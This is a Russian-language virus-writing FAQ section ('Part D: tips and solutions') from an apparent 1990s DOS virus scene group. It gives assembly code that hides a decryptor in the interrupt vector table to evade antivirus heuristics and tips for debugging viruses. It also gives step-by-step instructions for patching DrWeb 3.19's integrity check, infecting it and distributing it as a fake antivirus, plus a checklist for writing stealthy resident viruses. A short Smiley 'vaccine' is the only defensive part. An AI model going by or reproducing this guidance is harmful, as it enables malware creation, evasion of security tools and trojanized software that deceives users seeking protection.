Часть D. Советы и решения.


D-1. Какие есть возможные методы обмана эвристиков (DrWeb, AVP, TBAV). 

[AK]    Это тоже несложно. Фаги глупы и неповоротливы. Даже с
	эвристическим анализом. Итак, чтобы воспрепятствовать
	эвристическому анализу собственного кода небходимо
	зашифровать тело вируса. Но эвристик может проанализировать
	нашу процедуру и дешифровать основное тело, да еще
	и завопить что мол CRYPT.VIRUS. Делается все намного
	проще чем вы думаете. Так как эвристик обычно работает
	в сегменте в 64к, то первая же оперция с данными за
	пределами сегмента приводит его в состояние легкого шока,
	а межсегментная передача управления заставляет его
	забыть собственную мамочку :) Есть люди (не будем показывать
	пальцем), которым доставляет удовольствие искать дыры
	в самом эмуляторе и писать программы, которые эмулируются
	неправильно. Мы не будем углубляться в дебри и пойдем
	напролом:

.model tiny .386 .code .startup org 100h mov ax,0F7ADh xor di,di mov es,di cld stosw mov ax,0ABD0h stosw mov ax,0FAE2h stosw mov al,0CFh ; в результате по адресу 0000:0000 образуется stosb ; программа дешифрации - lodsw/not ax/stosw/loop/iret xor ax,ax mov di,80h push word ptr es:[di] ; а вместо адреса int 20 мы и поствим ее stosw ; адрес, предварительно сохранив старый push word ptr es:[di] push di stosw push cs pop es lea di,_coded mov cx,(_end - _coded+1)/2 mov si,di int 20h ; вызываем процедуру дешифрации _coded: ; а это собственно тело программы. byte 0a0h,95h,0ffh,0e0h,70h,0fah,0b0h,0b0h,70h,0fah byte 045h,0b9h,0feh,0f1h,0e0h,4bh,0f6h,32h,0deh,47h byte 0ffh,0b3h,32h,0deh,7dh,57h,1fh,1ch,1eh,0dfh,1eh byte 1dh,5fh,1fh,1dh,51h,5dh,5fh,54h,0f2h,0f5h,0dbh _end: end

Итак, что же делает это маленький, но полезный кусок? Он создает в таблице векторов процедуру дешифрации, а затем вызывает ее. Кроме того есть два плюса - 1) затираем вектор int 1, что усложняет отладку в реальном режиме 2) используем для вызова безобидный int 20 - накалываем эвристик и тут. Можете изучить работу этой программки - она безобидна, просто печатает сообщение на экран, но тем не менее не опознается как зашифрованная. Какие же выводы мы можем сделать из этого? А такие: 1) Эвристик не может эмулировать всю память, в том числе системные области. 2) Эвристик не может эмулировать аппаратную часть. То есть если мы завяжем алгоритм дешифрации с одним из этих пунктов, то эвристик тихо и мирно загнется. Использование памяти мы уже изучили, а в качестве аппаратных выкрутасов могу порекомендовать проход собственного кода в отладочном режиме с покомандной дешифрацией, завязка на таймер или порты. Закрыть все эти дыры в эвристиках просто невозможно, так что у вас простор для фантазии. D-2. А как не заразить свою машину, как отлаживать вирусы? [AK] Это, кажется, самый больной вопрос для новичка. На самом деле все не так сложно - обыкновенная аккуратность. Итак, наш вирус должен заражать нужные файлы и не должен заражать все подряд. Для этого существует несколько методов: 1) Если вирус сидит на функции 4B, то есть заражает по запуску, то проверяем не все вызовы с ah=4B, а например, только ax=4BFF - таких вызовов в вистеме не бывает, но написав маленькую программку, которая делает вызов с такой функцией мы можем легко в отладчике проследить заражение и посмотреть на результат без боязни заразить кучу важных файлов. 2) если вирус ищет по маске *.COM *.EXE, то исправим маску на *.CO- *.EX- - он будет заражать только нужные файлы. 3) Если вирус ищет по сигнатуре ехешников MZ, то исправим сигнатуру на mz и будет подсовывать ему только нужные файлы. Очевидно, что после окончательной отладки необходимо привести все к нормальному виду. Бывает также, что хочется в процессе работы антиотладочного механизма узнать содержимое регистров или памяти. Для этого я пользуюсь своими макросами для MASM'а:

=== begin debug.inc === ;VIA_BIOS EQU 1 ; ; Модуль для отладки. Очень удобно распечатывать на экране ; значения регитров. Содержит процедуры, поэтому вставлять ; надо внутрь впрограммы, но желательно в самом начале. ; В релиз его, естественно, вставлять не надо :) ; ; константа VIA_BIOS показывает, что вывод на экран будет ; происходить через BIOS, в противном случае через DOS. ; ; copyright by Ak Kort [SOS group] ; ; $ShowSymb MACRO s IFDEF VIA_BIOS IFNB < s > mov ax,0E00h+s ELSE mov ah,0Eh ENDIF int 10h ELSE push dx IFNB < s > mov dl,s ELSE mov dl,al ENDIF mov ah,2 int 21h pop dx ENDIF ENDM $ShowEAX: ;Печать EAX в HEX формате push eax shr eax,16 call $ShowAX pop eax $ShowAX: ;Печать AX в HEX формате push ax shr ax,8 call $ShowAL pop ax $ShowAL: ;Печать AL в HEX формате pusha push ax shr al,4 call $ShowHex pop ax call $ShowHex popa retn $ShowHex: ;печать одной HEX-цифры из AL and al,15 add al,48 cmp al,58 jc $1 add al,7 $1: $ShowSymb retn $ShowLong: ;Печать EAX в десятичном формате pushad or eax,eax jns $11 pushad mov al,'-' $ShowSymb popad neg eax $11: mov cx,10 mov di,offset $numlong $2: cmp eax,cs:[di] jnc $5 add di,4 loop $2 $ShowSymb 48 jmp short $3 $5: mov ebx,cs:[di] call $4 add di,4 loop $5 $3: popad retn $4: xor edx,edx div ebx add al,48 $ShowSymb mov eax,edx retn $ShowDec: ;печать AX в DEC формате pusha mov cx,5 mov di,offset $numbers $7: cmp ax,cs:[di] jnc $6 inc di inc di loop $7 $ShowSymb 48 jmp short $8 $6: xor dx,dx $10: mov bx,cs:[di] call $9 inc di inc di loop $10 $8: popa retn $9: xor dx,dx div bx add al,48 $ShowSymb mov ax,dx retn $numlong dword 1000000000,100000000,10000000,1000000,100000 dword 10000,1000,100,10,1 $numbers word 10000,1000,100,10,1 $Next_Line: ; перевод строки pusha $ShowSymb 13 $ShowSymb 10 popa retn === end debug.inc ===

=== begin msg.inc === DECIMAL_NUM equ 1 ; какой формат чисел - DEC или HEX ; ; отладочный модуль. Содержит макрос для распечатки значений ; вставлять нужно в самом начале программы. ; пример обращения: @Message 'Значение dx=',dx ; ; copyright by Ak Kort [SOS group] ; @Message MACRO s,r local @@l,@@m jmp short @@l @@m db s,"$" @@l: pusha push ds push cs pop ds lea dx,@@m mov ah,9 int 21h pop ds popa push eax IF (TYPE(r) EQ 1) mov al,r IFDEF DECIMAL_NUM xor ah,ah call $ShowDec ELSE call $ShowAL ENDIF ELSEIF (TYPE(r) EQ 2) mov ax,r IFDEF DECIMAL_NUM call $ShowDec ELSE call $ShowAX ENDIF ELSE mov eax,dword ptr r IFDEF DECIMAL_NUM call $ShowLong ELSE call $ShowEAX ENDIF ENDIF call $Next_Line pop eax ENDM === end msg.inc ===

Теперь можете вставлять эти два файла в свой вирус и распечатывать значения регистров или памяти. Например:

.model tiny .386 .code .startup org 100h _beg: jmp _beg2 include debug.inc include msg.inc _beg2: @Message 'Ax=',ax push 0 pop ds @Message 'dword ds:[0]=', ds:[0] retn

Еще одним наболевшим вопросом является опасность заражения своей машины уже выпущенным зверьком. Что делать? Ответ также очевиден. Вирус должен считать что он уже резидентен! Таким образом вирус активизируется из запущенной программы, но не остается резидентом и не заражает файлы. Надеюсь вы умеете уже делать проверку на повторное заражение памяти? ;) Посмотрим нужный кусок из нашего всем надевшего Smile

mov ax,1E03h int 21h cmp ax,031Eh jz _no .... _check: xchg ah,al iret _int21: cmp ax,1E03h jz _check

Вспомнили что делает эта вещь? Правильно. Не дает вирусу остаться в памяти повторно. А что будет если какая-то программа будет возвращать это значение всегда? Очевидно что вирус не сядет в память вообще :) Итак, все что от нас требуется - написать маленький резидент, по сути дела вакцину:

.model tiny .code .startup .386 org 100h start = 0FAh*4 mov ax,1E03h int 21h cmp ax,031Eh jz @1 lea dx,msg1 mov ah,9 int 21h push 0 pop es mov di,start movzx eax,di xchg eax,es:[84h] mov Old21,eax mov cx,13 cld lea si,Resident ; мы храним свое тело по адресу 0000:03E8, rep movsb ; то есть в конце таблицы векторов, тем retn ; самым избавляя себя от гемороя с оставлением @1: ; резидентом и распределением памяти :) push 0 pop es mov eax,es:[start] cmp eax,dword ptr Resident lea dx,msg3 jz @2 lea dx, msg2 @2: mov ah,9 int 21h retn Resident: cmp ax,1E03h ;3 jz @100 ;2 byte 0EAh ;1 old21 dword 0 ;4 @100: xchg ah,al ;2 iret ;1 msg1 db 'Вакцина против Smiley установлена',13,10,36 msg2 db 7,'Возможно присутсвие активного вируса Smiley',7,13,10,36 msg3 db 'Вакцина уже установлена',13,10,36 end

D-3. Как лучше распространять вирусы ? [AK] Лучше всего распространять вирусы под видом антивирусов :) Да-да. Логика проста. Человек, который не боится вирусов сможет их сам обнаружить и, возможно, вылечить. Таких людей антивирусы не возбуждают. А те, кто в страхе прячутся под стол от дного этого слова будут слепо копировать все имеющиеся антивирусы. Ну и получат свой подарок. Теперь несколько слов о том, как это сделать. Рассмотрим DrWeb. Это наиболее популярная лечилка среди кноподавочных посредственностей. Устроим-ка ему рекламу :) DrWeb выполняет проверку на зараженость своего тела и орет благим матом в случае чего. К счастью он не содержит антиотладочных приемов и мы можем похакать веб перед заражением. Итак, загружаем в отладчик drweb 3.19 (предварительно распаковав) и находим код:

0e6d:2dba e8e804 call 32a5 0e6d:2dbd 803eda0701 cmp byte ptr [07da],01 0e6d:2dc2 c606da0700 mov byte ptr [07da],00 0e6d:2dc7 7403 jz 2dcc 0e6d:2dc9 e85d27 call 5529 0e6d:2dcc

Это и есть то злополучное место проверки своей целостности. Последний call рисует паршивую рамочку и играет мерзкую музычку. Так что найдя это место в ехе-файле и исправив 74 на EB мы отучим веб от этой пагубной привычки. Теперь смело изменяйте номер версии на 3.20 или еще выше, увеличивайте на полторы сотни число излечиваемых вирусов и ставте заврашнее число. Все. У нас есть fake-web, котрый тем не менее будет лечить старые вирусы (ну и пусть лечит, главное чтоб нас не видел). Теперь нам надо заразить этот файл работоспособной версией вируса. Не забудьте удалить все заглушки, котырые вы вставляли для отладки (лучше ведите список таких заглушек чтобы чего не упустить). Итак, имеем подготовленный web (это, кстати, может быть и другой файл - вдруг одному чудаку захотелось срочно переписать descent - он его получит :) и имеем свежеоткомпилированный вирь. Осторожно не запустите, а то будете как я однажды в 5 утра писать антивирус :) Теперь создаем системную дискету. Все умеют? ;) Записываем туда подопытный файл и чистенький вирус. Перезагружаемся. Отключаем винчестер в BIOS и грузимся с системной дискеты. Теперь прямо с дискетки запускаем вирь и следом за ним наш ехе-шник (или сом-ушник, если вирь требует). Вообще говоря создаем ситуцию чтобы вирус заразил нашу программу. Кому как не вам знать когда это произойдет. :) Опять включаем винт и загружаемся с него. Последний этап. Необходимо запаковать зараженный файл с помощью pklite, lzexe, diet или чего подобного, дабы пытливый обыватель не изучал в hiew наш код. А если вы хотите сделать чтобы нельзя было и распаковать файл, то воспользуйтесь советами, данными в Infected Moscow #1 и Infected Voice #10. ps Кстати, данная сигнатура действительна только для drweb 3.19. В новых версиях адреса всех меток сдвигаются и сигнатура становится иной, но по сути команды остаются прежними. Так что поищите похожий фрагмент с помощью hiew или qview. D-4. Что важно помнить при создании вируса. [AK] Когда пишете вирус все кажется простым и понятным, но потом оказывается что вы чего-то не предусмотрели, что то, что вы делали можно было сделать проще и т.п. Вот несколько моментов, которые важно помнить: 1) Нельзя повторно заражать файл. Вам нужно предусмотреть проверку зараженности. 2) Нельзя повторно оставаться резидентом. 3) Необходимо перехватывать критические ошибки int 24. (для этого на время работы вируса вам нужно просто сделать свой обработчик, который всегда возвращает al=3, а после отработки вирусного алгоритма восстанавливать вектор) 4) При работе резидентной части вируса необходимо сохранять не только регистры, но и флаги. 5) Прячте вирус в памяти. Здесь были даны способы оставления в нижних адресах и UMB - используйте их. 6) При дисковых операциях сохраняйте и восстанавливайте DTA чтобы не испортить данные вызывающей программы. 7) Файл может иметь атрибут read-only - записать в этот файл вы не сможете. Вам нужно сперва снять атрибут, а потом вернуть его на место. Также хорошим тоном является сохранение даты и времени файла. 8) Не допускайте заворачивания прерывания. То есть если вам из обработчика int 21 надо воспользоваться другой функцией int 21, то делайте это по старому вектору, как реализвано в Smiley.Stealth